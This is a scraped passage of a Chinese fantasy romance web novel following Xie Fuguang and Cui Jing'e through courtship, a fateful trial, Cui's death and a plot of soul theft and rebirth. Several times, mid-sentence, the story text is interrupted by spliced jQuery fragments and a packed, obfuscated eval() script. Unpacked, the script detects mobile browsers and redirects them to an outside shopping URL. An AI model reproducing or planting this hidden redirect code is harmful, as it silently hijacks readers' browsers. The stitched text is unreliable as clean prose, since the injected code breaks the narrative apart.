$(''.inform'').remove(); $(''#content'').append('' 笑绒谈及情事时,不似大多女子那般羞赧难言,她心性中有一份相当难得的纯然,历经曲折而不改,她深觉相爱是件极为美好的事,交流分享珍宝是不需要害羞的。 她说得很详细:“与宁磐在一起时,我感到我的心像是化成了一滩水,稍一摇晃就要荡许多涟漪出来。” 闻言,谢扶光暗暗想:心化成水,不就不成活了么? “他牵我手时,我感觉浑身麻酥酥的,尤其被他碰的地方,像吃了软筋散一样没力气,但心里又很欢喜。” 谢扶光在心里记下:以后行走在外,得时刻提防男人触碰,以免不知不觉着了道,被卖了还傻呵呵给人数钱。 “嗷还有,我觉得他身上气味很好闻,香香的,让人想靠近。” “他还搽香粉?”谢扶光这回出声了。 “不是香粉的香,你若喜欢谁,他身上就自然带了一种香,只你能闻见。”卢笑绒解释。 还有这等怪事? 谢扶光本着求真猎奇的心思,隔日就进行了验证。 近水楼台,先遭到她祸害的是舒扬舟。 抵达舒扬舟院落时他正练剑。 舒扬舟自知于修炼上欠了点运气,也深谙笨鸟先飞的道理,这些年练剑极为刻苦,堪比闻鸡起舞。 谢扶光一进门,二话不说就凑上前耸着鼻子嗅了嗅,丝毫不觉得香,只闻到一股臭汗味。 “干什么呢?”舒扬舟时刻谨记男女大防,捂着胸口往后躲。 谢扶光如实答:“你好臭。” 舒扬舟:…… “这说明我练习刻苦。”他试图狡辩。 “但你照样打不过我。”谢扶光再次实话实说。 舒扬舟:…… “请你圆润地出去。” 多年过去,舒扬舟再不是那个会因谢扶光受“欺负”而找人决斗的好好师兄。 自己修炼的缓慢固然令人烦躁,作为一名君子,小师妹进步的迅速他也能做到含泪祝福,可被师妹联合“外敌”崔惊厄三天两头恶意吊打委实不可忍。 是以舒扬舟现在看见她就烦。 如愿在美好的清晨给师兄添了每日一堵,谢扶光迈着轻快的步伐推开了崔惊厄的门。 小院岑寂,崔惊厄应还未醒。 不知怎的,刚刚闻舒扬舟时,她心跳什么的都还很正常,这会儿溜进崔惊厄房间,上至眼神下到步伐却都添了丝偷感。 谢扶光不由庆幸他还睡着。 有人进来,崔惊厄自是知道的,而以他的敏锐和对谢扶光的熟悉,也不难判断来人是谁。 大小姐行事素来坦荡,难得狗狗祟祟一遭,他不由新奇,选择装睡静观她想干什么。 崔惊厄阖着眼睛,视野的黑暗放大了其余感官,他感到谢扶光在靠近,近到他脖颈裸露的皮肤蒙上她吐息间喷薄的热气。 看不见的地方,他手指用力一蜷。 谢扶光先凑到他敞开的领口轻嗅了嗅,嗅完回味了一会儿,好像……是有点香? 不确定,再闻闻。 这样想着,她凑更近了些,前额一绺小碎毛随俯首的动作滑落,轻擦过崔惊厄向来敏感的喉结。 身体受激,他下意识轻颤。 崔惊厄一滞:不妙,装睡失败! 谢扶光大惊:糟糕,偷闻败露! 两人心下各自一句“完蛋”。 不约而同想要看对方反应,谢扶光当即抬头,崔惊厄也支起一半身子,就欲起身。 或许是角度的清奇,又或许是命运的吸引,两人仓皇动作间,彼此唇瓣轻擦而过,将这尴尬很是又加深了一重。 85.在一起 一时间,空气都止了流动。 谢扶光感到一种从未有过的新奇体验,浑身血液不约而同向心脏奔涌,在那不堪重负的小小胸腔中化作烟花轰然爆开,余烬渗进皮肉,蔓延一串酥麻。 崔惊厄亦是久久失了言语。 死寂持续了好半晌,他才轻咳一声,心神恍惚脑子缺弦般开口。 原想寒暄一句“你怎么来了”,脱口的却是:“你……你磕我嘴了。” 崔惊厄:…… 谢扶光:…… “不是……”崔惊厄张了张嘴,有心找补几句,碍于此刻精神状态堪忧,终究闭上了这百祸之源。 “哦,”谢扶光也很恍惚,说出的话像与脑子隔着层浓雾,满满的失真,“失误。” “没……没关系,那个,”崔惊厄煞有介事清清嗓子,挑战智商极限般再度尝试开口,“你过来干什么?” “我是来……” 她是来闻他香不香的。 很简单一句话,谢扶光偏就是不想说,就像她也不慎罹患了那致人吞吐的嘴症。 迎着崔惊厄探究的视线,她感到环境升温,浑身兀自发烫。 “我走了。”匆匆撂下一句,谢扶光飞快转身,逃也似的离开他的床榻边。 手触到门扉时,忽觉落荒而逃实在太怂,于是她较劲般骤然又回头,音调没什么起伏说:“崔惊厄,你挺香的。” 崔惊厄:??? 这日后,他们之间就不太一样了。 谢扶光是个刀痴,依然会不时找崔惊厄打一场,可除去打架,她就不会再主动找他说话。 刚开始,崔惊厄还惶恐当日不慎“磕了嘴”的举动唐突了她,可他越想越觉得冤: 不对啊!当天他好好睡着觉,是她自己溜进来对他一通莫名其妙,怎么看他才是被唐突的那个吧! 怀揣莫大冤屈,他兜着圈子向舒扬舟和卢笑绒侧面打探。 卢笑绒是个实心眼,套话相当省事,他只消“抛个砖”稍加引导,她就能被启发出一长串的“玉”。 与她谈完,崔惊厄一会儿觉得开朗,一会儿又觉更加糊涂了。 回去的一路,他都在扯着领口闻自己,唯恐谢扶光不是他希望的那个意思,毕竟他平素爱干净,自己低头闻着也觉挺香的。 无论大小姐那天是什么意思,这样下去终归不是办法,崔惊厄觉得自己得做点什么。 于是,在十月十,一年一度的圆满日子,他向谢扶光第一次发出了约会邀请。 考虑到大小姐不那么如意的艺术品味,崔惊厄没有选择听戏这种相对高雅的音乐活动,而是选了雅俗共赏的茶楼听书。 渡业山地处吉城,繁盛富饶,不年不节,街上也很热闹。 去往茶楼的路有些拥挤,谢扶光一不留神撞上一盲眼算命先生,对方手中铜钱撒乱一地,谢扶光忙帮着捡起。 老先生被撞了也不恼,捡铜钱时还有闲情抚摸上头的纹路。 铜钱共六枚,很快捡完,离开算命摊前,崔惊厄往算命桌上放了块碎银,算作赔罪。 正待前行,那老先生却兀地扯住谢扶光衣袖,非要给她看上一卦。 谢扶光急着去茶楼占地方,不想听这些,遂摸出块更大的银子打发他。 “谢大小姐。”盲眼先生却一语道破她身份。 谢扶光脚步不由顿住,她觉得惊奇,伸手在他眼前晃了晃。 那双眼如无波古井,毫无反应。 老先生似有所感应,微微笑道:“老朽眼盲心却不盲,为大小姐看卦实非求财,只是老朽窥得几分天机,惟说与有缘人方得心安。” 他说着,掌心摊开,示意桌上排列整齐的铜钱。 自被谢扶光捡上来,铜钱的正反面就没有动过。 “反正反反正反,”不待谢扶光再拒绝,老先生已开口解起卦辞,“是为第二十九卦,坎为水。” 此话一出,崔惊厄就蹙了眉头。 找寻重养刀灵之法的几年,他对各行知识皆有涉猎,算卦显然也在其中。 他一眼即瞧出此为下下卦。 果然,老者紧接着便道:“一阳陷二阴,两坎相重,是谓险上加险,险阻重重。大小姐,恕老朽直言,你不日将有大难啊。” 彼时谢扶光对于“大难”还没什么概念,闻言只是想:有就有吧,我好好练刀就行,待大难来时,能打过它我就赢,若打不过,我尽力一场,便是输掉这条命,我也服气。 崔惊厄却在身后笑道:“老先生,你这卦象解得不对吧?” “哦?小友有何高见?” “高见谈不上,”崔惊厄摆手,“我只是记得后头还有半句:‘一阳陷二阴,所幸阴虚阳实,虽险难重重,却方能显人性光彩’。” “所谓‘大道五十,天衍四九,人遁其一’,凡事皆有一线生机才对。” “是了,”老先生闻言,亦哈哈笑道,“那便祝你们永能寻到那一线吧。” “崔惊厄,你还会解卦?”离开算命摊子,谢扶光问他。 崔惊厄一剔眉梢:“我会的东西,可多着呢。” 谢扶光先没什么反应,过一会儿却又接上了话:“那你帮笑笑算算,今天适合约会么?”崔惊厄叫她出来的同时,卢笑绒也被宁磐请走了。 她问时倒真没想旁的,只是近来她与崔惊厄之间好生奇怪,怪到每每沉默下来,她便想起那日清晨的事,所以她得费些脑子不让话掉到地上。 而单纯的话落到别有深意之人耳里,却冲撞出另一层意思。 “你是想问……” 崔惊厄没忍住雀跃,笑了一声,但觉今夜天朗气清,一派晴好。 “适合,我既在今日约你,必是提前算过的。”他愉快答道。 “啊。”谢扶光点头应声,应完才品出不对,“啊?” 正巧迎面一列卖艺人提锣扛鼓地蹭过来,本就拥挤的空间登时更加逼仄,或许是怕走散,又或许等待契机已久,崔惊厄轻轻牵起她一角衣袖。 谢扶光走在他身后,盯着他带有薄茧的指腹与自己衣袖的那点勾连,兀地转了个惊奇的念头:他分明没触碰她,她的手臂却已经开始麻了。 擦身而过时,卖艺队伍里不知谁的锣没拿稳,磕碰出清越一声,震得她的心动了一下。 绕过最人头攒动之处,崔惊厄便克制地松开了她。 距离茶楼已没多远,谢扶光惦记着那酥酥麻麻的奇怪反应,佯装行走间不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182545|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的触碰,雏鸟起飞一样朝崔惊厄掌心伸出试探的小指尖。 见崔惊厄迟钝得可以,恍若未觉。 她愈渐感到那股酥麻有些舒服,一次过后还觉不够,指尖又试探着蹭了一次。 第二次过后,又有第三次…… 短短一截路,承载了她太多的“不小心”。 终于行到茶楼门口,谢扶光停下作乱的手,她变小心了,崔惊厄却“不小心”起来。 他的“不小心”远比她更拙劣,瘦长手指先自她袖口蜿蜒而过,而后才寻到她指尖,向上挪移得很缓慢,每一步都为她留足了躲避的时间。 谢扶光抬眼,发现他也正垂眸看她,两人相隔一段绮丽薄光,为这场对视平添几许旖旎。 她手指一蜷。 便是再迟钝,这会儿也看懂了他是何意思。 察觉她手指的蜷缩,崔惊厄入侵的指尖也止了动作,在原处停了一会儿,似有要退回之势。 但赶在他退回之前,谢扶光向前进了一寸,勾住了他过分君子的手指。 当是时,茶楼里说书人的声音透过重重帷帐影影绰绰传出。 “……总有那么个人,你看他第一眼,就知道你们之间故事还没完……” “大小姐,来晚了,”崔惊厄往里瞅了眼,努力想做出副无奈神色却没能压下唇角的勾,大概因为激动,他声音微颤,“里头故事已经开场,底下也没位置了。” 谢扶光飘飘然听着,并不觉得遗憾,这会儿便是进去只怕也是心猿意马,她现在已经浑身都麻了。 “所以我们要换个地方,把这没完的故事续上么?”他接着问。 谢扶光浑浑噩噩点头。 这一夜,她似是随他逛了街,游了湖,吃了些不知味道的食物,具体细节谢扶光都忘记了,只记得整整一晚,他们的手都没放开过。 谢扶光和崔惊厄在一起了。 有人欢喜有人忧。 喜的是当事人和大小姐的忠实跟班卢笑绒。 至于忧的,那可太多了。 其中以嘴硬妹控舒扬舟首当其冲。 他十分不明白: 为什么前不久还整整齐齐的四人组,另外三个比赛似的都找到了归宿; 又为什么他家那看似断情绝爱的臭脸白菜,突然就被一头笑面猪给拱出了自家菜园; 又又为什么那笑面猪剑术高强,他打了十年都没打过。 千言万语千头万绪尽汇成一句:他恨! 剩下除去妄图攀谢扶光这根“高枝”的凤凰男修,和倾慕崔惊厄无果的伤情女修,还有一人的不豫不容忽略。 “谢白扇”素来不喜谢扶光身上掺杂太多人的情感,得知此事更是怒不可遏,但谢扶光这些年有伙伴相伴,早不再是当年那个一味受他雕琢的五岁小姑娘。 对于他“谈情会影响修炼”的指控,谢扶光只有理有据称:“父亲当年与母亲谈情,不仅没影响修炼,还成就了一段佳话。” 谢扶光本人的存在就是对他那套说辞赤裸裸的嘲讽,“谢白扇”哑了声,终究没再多干涉什么,只在最后简单提了一句不日后的万里悲丘试炼。 他称以她现在的能力,或许可以提前一届参加。 86.少年散 选定的厉鬼境容器不听话了,合该受到惩罚,所以“谢白扇”决定提前让她死。 万里悲丘试炼场三年一开,仅容年岁在二十到二十五之间的修士参加,下一届在明年,按理还轮不到谢扶光。 但如此安排正中她下怀,这样她就能和崔惊厄、师兄他们一起试炼了。 “那卢师妹呢,她可以一起么?”谢扶光替伙伴争取,一家人还是整整齐齐最好。 卢笑绒比她还大一岁呢,明年十九,距离二十也只差一年了。 “谢白扇”原不喜欢破例,但想了想,又觉待谢扶光沦为厉鬼境容器,卢笑绒再像跟屁虫一样缀在身后,终究惹人烦,不如也一并死在里头,成全她们一场姐妹情深,便答应下来。 万里悲丘是年轻修士们扬名的重要场合,谢扶光载誉而生,没考虑过名气大小的问题,但无论什么比试,她都很想赢。 “崔惊厄,你给我算一卦,明年的试炼我能拿第一么?”向崔惊厄报喜时,她问。 崔惊厄摸出六枚铜钱,随手一抛,落在桌上,恰全是正面。 他眉梢一挑,先乐了:“哟,乾为天,大小姐运气真是好,必能‘一切谋望皆如意,向后时运渐渐高’。” 谢扶光听着高兴,她没有多留,赶着去把这事告诉舒扬舟和卢笑绒。 她跑走后,崔惊厄扬起的眉梢回归正色,凭他的修为,足以控制铜钱落到桌面的朝向,刚刚那一卦纯粹是为哄大小姐开心而人为主导的。 这一次,他沉心静气,感应天地,再度掷出一卦。 反正反反正反。 亦是巧了,恰是那日在老者算命摊前碰撞出的“坎为水”。 此次试炼恐有麻烦。 崔惊厄不由怀疑“谢白扇”让谢扶光提前试炼的目的。 事已成定局,非他之力能改变,何况大小姐对此安排甚是满意,莽撞行事更有打草惊蛇的风险,他没打算有什么大的动作,只暗暗提高了警惕。 接下来的一年,一方面诛邪卫道,一方面也是为即将到来的试炼积累实战经验,四人先后走过许多妖邪频发之地,无论去哪,宁磐都跟着,俨然已混成半个渡业山编外人员。 舒扬舟作为唯一的“孤寡老人”,夹在两对有情人中间,真是别有一番凄苦。 好在他这样的情况无独有偶。 出去的第三个月,在东光洲襄城的一家客栈,他们遇上逍遥宫的人。 逍遥宫一行七人,五男两女,凑出三组情侣,其中还有一对基。 徒留黎暨一人对月喝闷酒,还嘴硬拿“片叶不沾身”挽尊。 舒扬舟见到同道中人,险些无语凝噎,二“犬”畅饮一夜,诉尽心头苦,结下了深厚友谊。 逍遥宫一行刚下山历练完,本是要返程。 黎暨是个敞亮人,既与这位舒兄聊得投机,便没急着回去,隔空寄音向师父简单交代过情况,潇洒一拂袖,就随渡业山一道云游去了。 几人此行摆脱了“谢白扇”那张死人脸,结识了新朋友,又为不少地方平了妖邪祸事,以深渊蛟龙小美人为座驾,轻易腾行万里,堪称“朝游北海暮苍梧”。 逍遥天地六沙鸥,真当得生平最快活的时光。 途中崔惊厄救下一老者,那老者自称“人间小月老”,愿以一根姻缘线为报,助他与有情人结成生生世世不解缘。 崔惊厄其实没信他这神神叨叨的一套,但既有缘撞见,便让他将那红线在自己和谢扶光腕上各结了一条。 一开始他伸的左手,谢扶光是右手。 “小月老”在结下红线前,最后提醒说:“结姻缘线绝非小事,一旦你们之中任一人背叛了感情,彼此缠绕姻缘线的那只手都将受到严厉惩罚。” 小老头说得邪乎,神色也很严肃,崔惊厄饶是不信,也难免被唬了一下,以防万一,他换了只手:“那这样,我结在右手,她结在左手,我们大小姐的右手可是得练刀呢!” 舒扬舟和黎暨两个资深单身人士对姻缘线什么的嗤之以鼻,宁磐倒巴巴在旁望着,无奈不是“小月老”的有缘人,人家不肯给红线让他牵,这会儿他插话进来:“你右手不也得练剑吗?” “是啊,”崔惊厄吊儿郎当弯着眉眼笑,“所以我才更要牵在右手了,大小姐是个负责的人,我这叫道德绑架,赖上她了!” 宁磐一脸了悟地竖起大拇指,崇拜道:“崔兄高人也!” “低调,低调……” 谢扶光不懂他哪来那么多歪理,但她今日心情尚佳,陪着他闹也不是不行。 总归在她看来,无论结在哪只手都一样的,他们又不会散。 少年人眼里的感情哪有会散的? 事实上,他们也确实有缘,初始秘境中,谢扶光与师兄分到一起,那场秘境比器墓迷阵简单得多,二人联手通关,在其余弟子尚未反应过来之际就把局给破了,狠狠扬了渡业山的声名。 秘境外的驿站,舒扬舟的七星绝命剑认出了恰在附近的崔惊厄。 第二场秘境是个五人局,入口处,三人与等待凑人数的宁磐和卢笑绒重逢,一场闯关不似试炼,更像游戏,每人俱十分尽兴。 他们通关速度太快,在多数弟子还陷于前两场秘境中时,已迈进了第三重,第三批秘境数量骤减,能闯到这儿的人也少,兼有一点缘分推波助澜,五人相当顺利地与黎暨重聚。 几人并肩杀到最后关卡,成就了这场友谊最后的辉煌。 第四批也是最后一批开放的秘境仅余八个,众人在做出选择前,“偶遇”了来同一驿站歇脚的“江星”。 江星其人,谢扶光难得有印象,一则他在剑宗算个人物,虽不及崔惊厄那么招摇,却也并非查无此人;二来他今年十九,此次也算破格前来,不知“谢白扇”怎么会同意的;此外,江星算谢扶光半个铁杆事业粉,几年前刚崭露头角时还来找过她一次。 身为同门,既有缘碰见,“江星”也明确提出想与他们一起,自没有不带他的道理。 随后在选择秘境的环节,他又“不经意”地在言行间加以引导,成功将所有人拐到了厉鬼境入口。 他表现得太积极,如要细究,其实是有破绽的,可在场的除去崔惊厄,对待同行者全都少了些谨慎。 因先头那卦“坎为水”,自从进到万里悲丘,崔惊厄脑子里有根弦就一直紧绷着,在“江星”到来后,他的警惕总算发挥作用,他发现“江星”偶然间的一些小动作与“谢白扇”颇为相似,可惜任他如何揣度,也难猜到剥魂夺壳上,不知无论“谢白扇”还是“江星”皮下,都是在所有人眼里早早死了的颜琅。 崔惊厄不敢大意,将发现的异常暗中告知众人。 可惜谢扶光的魂魄早受污染,他们任何自以为私密的小动作都未能逃过颜琅视线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192378|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与重生后相似,进入厉鬼境之初,所有人分别以不同方式完成了厉鬼境幻境中的考验,可幻境之外,一条等待多时的毒蛇早已按捺不住叫嚣的蛇信。 “江星”骤然出手,好在众人俱有提防,除去作为辅助的宁磐和卢笑绒,余下四人都是各道翘楚,如化影境中在康城围困螭寐那般,他们一拥而上将其团团围住,“江星”到底道行尚浅,不多时便现出不敌之势,场面眼见转危为安。 而也是在这时,谢扶光眼前一黑,陡然失去了对身体的控制。 乐命刀顾及主人意愿,不欲听从调遣,却难抵力量驱使,刀刃终究是颤抖着转了向。 这一刀因带了博弈与拉扯,变招并不迅速,崔惊厄又何其敏锐,早在刀尖传来第一次颤抖时即已察觉。 作为一名十四岁即独入霁宁渊收服小美人的修士,他身经百战又极尽警惕,察觉危险的瞬间,如立时提剑斩向谢扶光,便不难成活。 藏蛟剑也确实动了,但见崔惊厄对乐命刀锋不闪不避,只直直将藏蛟刺入了“江星”胸膛。 因乐命的突然转向,困缚“江星”的力道少了一重,他便腾出一只手,作势要刺谢扶光一剑。 诚然,颜琅不舍得真让谢扶光身躯受损,可不如此,崔惊厄便是不肯杀谢扶光,也必会躲开她那一击,他必得给他寻点事做,让他躲都不能躲。 乐命冷刃贯穿前胸,崔惊厄面朝谢扶光,费力咽下口中腥甜,鲜血却难止地往外涌。 莫大悲恸生生将谢扶光混沌的意识激出几分清明,她双眼睁得很大,却经泪雾模糊,再看不清他。 “没事,不怪你,”崔惊厄似乎笑了一声,随即撑着最后力气将一道罡气打入了她体内,他右手胡乱抓了两把,在碰到她左手后紧紧握住,“别哭,那个小……小月老不是说了,牵过姻缘线的有情人,下辈子还能……还能遇见呢……” 不说时还好,他一提,谢扶光竟觉左腕牵过姻缘线的位置痛得砭骨。 垂眸怔然看去,那道隐形多日的红线在此刻炽红发烫,她就这么看着它,从中断开了。 与此同时,崔惊厄身体全然失去支撑,如一枝开败的夏花,软软下滑。 谢扶光极力想撑住他,无奈她的左腕受了背叛爱情的报复,实在太疼,她使不上力,只好随着他的坠势一并摔倒在地。 她感到一片空茫,空茫之中有恨意叫嚣,她知道现在不是难过的时候,她该为崔惊厄报仇,可她根本不知仇人是谁。 崔惊厄是她杀的,就死在她的乐命刀下,死于她百思不解的那一瞬鬼使神差。 “江星”已被藏蛟一剑穿胸,最像在捣鬼的人已然归西,整片黄沙之上,便仅余她一个罪人。 她看到舒扬舟大步上前,一脸关切问她刚刚发生了什么,其余三人在他身后,也涌到她面前,没有人怪她,都相信她有苦衷,她却没法不怪自己。 谢扶光神志近乎崩溃,她两手抱住头尖叫着后退,掌心崔惊厄的血迹蹭了满脸,让她看起来像个女鬼。 她感到自己很危险,唯恐不知何时又会害了其他人性命。 她抖着手摸到乐命,横在脖颈间。 周围人怕她乱来,不敢再上前。 四野万籁俱寂,她的心里草木皆兵。 因为手抖,乐命刀刃不住在她颈间剐蹭,仿佛下一瞬就要划开那纤细喉管,唤出如泉鲜血为她的爱人送葬。 87.合作? 看不得这具皮囊再受损,一直隐于暗处的“谢白扇”总算现身。 为防她再受刺激真的自戕,这一回“谢白扇”最先杀的是谢扶光。 她冷眼看着自己的魂魄被生剥出躯壳,不比昔年看戏时真实。 而恍惚只是一瞬。 “谢白扇”的出现,让她满目的自责里,骤然添了个敌人,谢扶光一身斗志重燃,不顾魂魄离体,飘飘荡荡向他攻去。 按常理,离体之魂已毫无杀伤力,“谢白扇”对蝼蚁的反抗不以为意,面前舒扬舟等人见谢扶光被杀,一个个好似发了疯,蚍蜉撼树般提剑迎上。 “谢白扇”正欲以同样方法再下杀手,出手时却受两道强悍罡气阻挠,身形一滞,左肩生生被七星绝命的剑锋剐出一道见骨创口。 他身居高位太久,已多年不曾受伤,丝丝血气萦于鼻端,致他杀意暴涨。 与杀意一并高涨的,还有几分变态的兴趣,他两指钳住七星绝命,轻轻一折,铸铁剑刃竟应声而断,巨力沿残余剑身传至剑柄,推着舒扬舟向后数步踉跄。 “谢白扇”用衣袖缓慢拭去指尖沾染的血污,探究的目光紧追谢扶光那缕孤魂。 “宛流萤和崔成阳的护魂罡气,竟全在你身上,他们待你还真好啊。” 修士们修为抵达一定高度,便有机会吸纳天地灵气化为护魂罡气,但即便再强悍的大能,一生也最多化出一层。 每一代修士中能化出护魂罡气者寥寥,上一代中刚巧有谢白扇和崔成阳,谢白扇的给了妻子宛流萤,崔成阳的则在崔惊厄出世后就加在了幼子身上。 给宛流萤的那道应是在她“失踪”前,就转给了谢扶光;崔惊厄的则是死前刚给的,他窥得此途凶险,放任灵魂随肉身一并逝去,将罡气打入谢扶光体内,为她多加了一重保障。 谢扶光对护魂罡气亦有耳闻,听闻“谢白扇”脱口的话,当即了悟魂魄上凝的薄膜究竟是什么。 了悟的同时,她以最快速度飘到“谢白扇”身前,利用身上罡气在他身周缠绕出一道无形屏障,阻隔他伸向其余伙伴的手。 “谢白扇”广袖轻拂,边抵挡她自不量力的反击,边嗤笑说:“都见了棺材,怎么还不落泪呢,便是他们逃得一时又如何,万里悲丘之内随处都有我布置的妖魔,死在谁手上又有何区别。” “谢白扇”布置妖魔无数? 被剥魂夺壳后,谢扶光反倒冷静下来。 她心下思忖:什么样的人,或者说什么东西能号令妖魔呢? 联想到在厉鬼境最初那幻境里的经历,她骤然恍然:“你不是我父亲,你是颜琅!你是堕鬼后的颜琅!” “想到这一层,你还不算无药可救,只可惜,太晚了。”颜琅面上既无夙愿得偿的欣喜,也无被叫破身份的意外,他面色沉静,看向一退过后再度上前的舒扬舟眯了眯眼。 厉鬼号令妖魔万千,面前“谢白扇”既是堕鬼后的颜琅,便不是他们能打得过的,谢扶光极力干扰颜琅,试图将他绊住,给其余同伴逃命时间,能走多远走多远,至少先躲过此刻一劫。 然而少年人鲜少知道后退,尤其谢扶光尸身尚温,四人皆被激出血性,谁都没要走的意思。 他们求仁得仁,也就真的没走成。 颜琅如法炮制剥了余下四人魂魄。 他随身携了只不大的细口长颈金瓶,此瓶有封存魂魄之用。 舒扬舟几人魂魄统统被他收入那金瓶之中,唯独轮到谢扶光时,因那两道罡气叠加,发挥出一加一大于二的效果,成功护着她的魂魄躲过那瓶口,悠悠飘出好远。 颜琅没有追,他要的已经拿到,谢扶光毫无生机的苍白躯体还静静躺在地上,赶在身体凉透之前,他得在她身上绘好吸纳厉鬼境的阵法,于是他最终放过了她。 颜琅自己也曾受困万里悲丘多年,置身其中是何等绝望滋味他深有体会,但凡在万里悲丘出入口分别设下封印,任她是大小姐还是什么大老爷,他就不信她还能翻了天。 颜琅没想到,谢扶光虽未能翻了天,却闯来了另一段机缘。 万里悲丘之内的确有颜琅一早布置的妖魔,以魂魄姿态,她打不过武力更高的魔族,靠着那双层罡气,却运气很好地撞死了一只落单小妖。 厉鬼境幻境中,谢扶光在颜琅身体里,曾被鸣皋刀圣夺过一次壳,今日她的壳被颜琅所夺,又眼睁睁看着师兄、卢笑绒和宁磐、黎暨身魂分离,夺魂之术已参悟大半。 她想起曾听崔惊厄说过,闯遍万里悲丘一千秘境便有机会见天道一面,于是她夺了那小妖躯壳,以残魂作赌,以十年时间为注,于无人处偷偷下了盘大棋,将一千秘境悉数闯尽。 也是在此过程中,她得以见到苦守秘境的叶放、朱颜故、李兰允等人。 天道应允赐她重生改命的机会,却限于规则,无法任她带着后来记忆走这段回头路。 无法,她只得忍痛以散尽亲故为代价,换取这些重要秘境都带上了白光标识,以期尽早窥得真相。 因重生后没了伙伴,谢扶光做回那个一心只知练刀的无情大小姐,并未提早惹谢白扇体内的颜琅忌惮,提前试炼一事不了了之。 混混沌沌又经两年兜转,才总算有今日。 尘封旧事一朝揭开,渡业山那全修界瞩目的大小姐一路走来,竟是步步辛酸。 剧烈头痛抽丝般平息,往事如惊涛涌入,每人心中俱有千言万语,万里悲丘却比从前更静。 谢扶光饶是早知前世定然沉重,面对纷繁旧忆,依然有些喘不过气。 生死别离往往只在瞬息光景,将离散的人重聚起却要耗费沥血心力,老去若干天光。 她环顾一周,唏嘘的同时,亦觉庆幸。 遑论过程如何,重聚之期终归是又等到了。 “这一次,都活下来。”舒扬舟声音哑得不像话,依然坚持又重复了一遍,“我们六个人,每一个都要活下来。” 想活,就得赢颜琅。 少年们不待从前世厉鬼境中的惨烈抽身,刚回神又立于了同样境地。 眼前亘着迫在眉睫的鏖战,逼得他们需尽快收回心神,甚至不容叙旧的时间。 舒扬舟说完,就埋头走到崔惊厄旁边,与他练习霜寒十四式的配合; 黎暨刺破指腹,以灵血代朱砂练习画符; 卢笑绒坐到一旁,冥思自己出色的耳识与目力如何才能为同伴们带来最大辅助; 宁磐则揭开随身带的储物袋,从中倒出大堆毒药、暗器和防身物件,一一发给大家。 谢扶光指腹抚着乐命刀柄的铭刻,却没有练刀。 她在思考。 一方面,天道的话她尚未完全消化。祂说“此局勘破在心”,不知与父亲曾提过的那“一念惊鸿”是否相关; 另一方面,前世最后的一段记忆存在颇多疑点。 颜琅在剥夺她躯壳后,似性情大变。 魂魄离体后,谢扶光一直没出过万里悲丘,却能从逃来的零星弟子、或是堂而皇之进入的二三妖魔中窥见端倪。 当时她两耳不闻外界事,满腔仇恨一心只知闯关,从不为这些变化分神,此刻回头再看,却是处处蹊跷。 “我们与颜琅或许暂先不必不死不休。”她突然说。 “前世我在万里悲丘那几年,再没见过有弟子前来试炼,我们便是最后一届,”谢扶光凤眸微眯,捕捉记忆里那些模糊画面,“我猜测颜琅在夺我躯壳、收纳厉鬼境后,修界与人界或许大乱,失去了原本秩序。” “拿到了想要的,他自然原形毕露,再无顾忌。”舒扬舟冷嗤。 前世他从小看到大的师妹在他眼前被最信任的“师父”剥魂夺壳,提起此事他就很难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199363|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有好脸色。 “确实可以这么解释,但我总觉得不太对劲,或许还存在其他可能。”谢扶光沉吟蹙眉。 据宛流萤说,厉鬼境是厉鬼的能量之源,从前他的能量源禁锢于万里悲丘,距他太远,他不准螭寐杀人,的确可以解释为心有忌惮,不欲过早暴露。 但……他前后行为实在割裂得厉害。 厉鬼境最开始的幻境里,谢扶光以颜琅身份走过一遭,对他的理想与抱负也算略知一二。 在堕为厉鬼前,他与大多弱冠青年一样,也曾怀揣过以己之能护万民太平的美好愿望。 抢夺谢白扇躯壳坐上仙盟盟主的位置后,诚然,在清扫有威胁的隐患并扩大植入修界的势力上,他做过许多见不得光的小动作。 但他既能稳坐那位置多年,所倚仗的必不会全是谢白扇生前积下的威望。换言之,他是真真切切为修界和人界做过许多实事的。 厉鬼何其强悍,天下邪力尽供他所用,世间邪物皆受他所驱,何况他筹谋这许多年,正一步步将修界架空,在他势力日渐稳固之时,修界与人界闭目塞听,毫无觉察,遑论反应。 若以“心有忌惮”解释他种种行为,为免牵强太过——须知凡间盛一分,厉鬼可是会损三分,他为稳固地位也不必损及自身。 种种表现,致使谢扶光一度以为他尚有三分人性未泯。 然而在夺下她躯壳后,他种种作为却皆与这份猜测背道而驰。 纵已属不同种族,世间繁荣里亦凝结着他这些年洒下的心血,他大可以稳坐锦绣堆上,在人间当受人景仰的“鬼皇帝”,何必又亲手倾覆了这一切? 